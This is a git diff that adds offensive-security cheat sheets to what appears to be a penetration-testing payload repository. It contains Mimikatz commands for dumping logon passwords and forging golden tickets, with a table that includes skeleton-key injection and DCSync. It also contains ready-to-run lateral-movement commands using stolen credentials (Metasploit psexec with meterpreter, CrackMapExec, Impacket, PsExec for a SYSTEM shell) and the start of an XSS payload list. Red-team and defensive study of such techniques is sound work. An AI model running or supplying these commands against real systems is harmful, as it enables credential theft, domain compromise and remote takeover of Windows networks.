diff --git a/Methodology and Resources/Windows - Mimikatz.md b/Methodology and Resources/Windows - Mimikatz.md new file mode 100644 index 0000000..e9ab5ee --- /dev/null +++ b/Methodology and Resources/Windows - Mimikatz.md @@ -0,0 +1,64 @@ +# Windows - Mimikatz + +![Data in memory](http://adsecurity.org/wp-content/uploads/2014/11/Delpy-CredentialDataChart.png) + +## Mimikatz basic +Only one command +```bash +PS C:\temp\mimikatz> .\mimikatz "privilege::debug" "sekurlsa::logonpasswords" exit +``` + +Mimikatz console (multiple commands) +```bash +PS C:\temp\mimikatz> .\mimikatz +mimikatz # privilege::debug +mimikatz # sekurlsa::logonpasswords +``` + +Mimikatz Golden ticket +``` +.\mimikatz kerberos::golden /admin:ADMIINACCOUNTNAME /domain:DOMAINFQDN /id:ACCOUNTRID /sid:DOMAINSID /krbtgt:KRBTGTPASSWORDHASH /ptt + +.\mimikatz "kerberos::golden /admin:DarthVader /domain:rd.lab.adsecurity.org /id:9999 /sid:S-1-5-21-135380161-102191138-581311202 /krbtgt:13026055d01f235d67634e109da03321 /startoffset:0 /endin:600 /renewmax:10080 /ptt" exit +``` + + + +## Mimikatz commands +| Command |Definition| +|:----------------:|:---------------| +| CRYPTO::Certificates|list/export certificates| +|CRYPTO::Certificates | list/export certificates| +|KERBEROS::Golden | create golden/silver/trust tickets| +|KERBEROS::List | list all user tickets (TGT and TGS) in user memory. No special privileges required since it only displays the current user’s tickets.Similar to functionality of “klist”.| +|KERBEROS::PTT | pass the ticket. Typically used to inject a stolen or forged Kerberos ticket (golden/silver/trust).| +|LSADUMP::DCSync | ask a DC to synchronize an object (get password data for account). No need to run code on DC.| +|LSADUMP::LSA | Ask LSA Server to retrieve SAM/AD enterprise (normal, patch on the fly or inject). Use to dump all Active Directory domain credentials from a Domain Controller or lsass.dmp dump file. Also used to get specific account credential such as krbtgt with the parameter /name: “/name:krbtgt”| +|LSADUMP::SAM | get the SysKey to decrypt SAM entries (from registry or hive). The SAM option connects to the local Security Account Manager (SAM) database and dumps credentials for local accounts. This is used to dump all local credentials on a Windows computer.| +|LSADUMP::Trust | Ask LSA Server to retrieve Trust Auth Information (normal or patch on the fly). Dumps trust keys (passwords) for all associated trusts (domain/forest).| +|MISC::AddSid | Add to SIDHistory to user account. The first value is the target account and the second value is the account/group name(s) (or SID). Moved to SID:modify as of May 6th, 2016.| +|MISC::MemSSP | Inject a malicious Windows SSP to log locally authenticated credentials.| +|MISC::Skeleton | Inject Skeleton Key into LSASS process on Domain Controller. This enables all user authentication to the Skeleton Key patched DC to use a “master password” (aka Skeleton Keys) as well as their usual password.| +|PRIVILEGE::Debug | get debug rights (this or Local System rights is required for many Mimikatz commands).| +|SEKURLSA::Ekeys | list Kerberos encryption keys| +|SEKURLSA::Kerberos | List Kerberos credentials for all authenticated users (including services and computer account)| +|SEKURLSA::Krbtgt | get Domain Kerberos service account (KRBTGT)password data| +|SEKURLSA::LogonPasswords | lists all available provider credentials. This usually shows recently logged on user and computer credentials.| +|SEKURLSA::Pth | Pass- theHash and Over-Pass-the-Hash| +|SEKURLSA::Tickets | Lists all available Kerberos tickets for all recently authenticated users, including services running under the context of a user account and the local computer’s AD computer account. Unlike kerberos::list, sekurlsa uses memory reading and is not subject to key export restrictions. sekurlsa can access tickets of others sessions (users).| +|TOKEN::List | list all tokens of the system| +|TOKEN::Elevate | impersonate a token. Used to elevate permissions to SYSTEM (default) or find a domain admin token on the box| +|TOKEN::Elevate /domainadmin | impersonate a token with Domain Admin credentials. + + + +## Powershell Mimikatz +Mimikatz in memory (no binary on disk) with : + - [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellEmpire/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1) from PowerShellEmpire + - [Invoke-Mimikatz](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1) from PowerSploit + +More informations can be grabbed from the Memory with : + - [Invoke-Mimikittenz](https://raw.githubusercontent.com/putterpanda/mimikittenz/master/Invoke-mimikittenz.ps1) + +## Thanks to + * [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821) diff --git a/Methodology and Resources/Windows - Using credentials.md b/Methodology and Resources/Windows - Using credentials.md new file mode 100644 index 0000000..5c92e8e --- /dev/null +++ b/Methodology and Resources/Windows - Using credentials.md @@ -0,0 +1,70 @@ +# Windows - Using credentials + +## Metasploit - SMB +```c +use auxiliary/scanner/smb/smb_login +set SMBDomain CSCOU +set SMBUser jarrieta +set SMBPass nastyCutt3r +services -p 445 -R +run +creds +``` + +## Metasploit - Psexec +```c +use exploit/windows/smb/psexec +set RHOST 10.2.0.3 +set SMBUser jarrieta +set SMBPass nastyCutt3r +set PAYLOAD windows/meterpreter/bind_tcp +run +shell +``` + +## Crackmapexec (Integrated to Kali) +```python +git clone https://github.com/byt3bl33d3r/CrackMapExec.github +python crackmapexec.py 10.9.122.0/25 -d CSCOU -u jarrieta -p nastyCutt3r +python crackmapexec.py 10.9.122.5 -d CSCOU -u jarrieta -p nastyCutt3r -x whoami +``` + +## Winexe (Integrated to Kali) +```python +winexe -U CSCOU/jarrieta%nastyCutt3r //10.9.122.5 cmd.exe +``` + +## Psexec.py / Smbexec.py / Wmiexec.py (Impacket) +```python +git clone https://github.com/CoreSecurity/impacket.git +python psexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5 +python smbexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5 +python wmiexec.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5 +``` + +## RDP Remote Desktop Protocol (Impacket) +``` +python rdpcheck.py CSCOU/jarrieta:nastyCutt3r@10.9.122.5 +rdesktop -d CSCOU -u jarrieta -p nastyCutt3r 10.9.122.5 +``` + +## Netuse (Windows) +``` +net use \\ordws01.cscou.lab /user:CSCOU\jarrieta nastyCutt3r +C$ +``` + +## Runas (Windows - Kerberos auth) +``` +runas /netonly /user:CSCOU\jarrieta "cmd.exe" +``` + +## PsExec (Windows - [Sysinternal](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) ) +``` +PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe +PsExec.exe \\ordws01.cscou.lab -u CSCOU\jarrieta -p nastyCutt3r cmd.exe -s # get System shell +``` + +## Thanks + - [Ropnop - Using credentials to own Windows boxes](https://blog.ropnop.com/using-credentials-to-own-windows-boxes/) +- [Ropnop - Using credentials to own Windows boxes Part 2](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) diff --git a/XSS injection/Intruders/xss_alert.txt b/XSS injection/Intruders/xss_alert.txt new file mode 100644 index 0000000..5a78ca7 --- /dev/null +++ b/XSS injection/Intruders/xss_alert.txt @@ -0,0 +1,666 @@ + + + + + + + +'`"><\x3Cscript>javascript:alert(1) +'`"><\x00script>javascript:alert(1) + + + +
+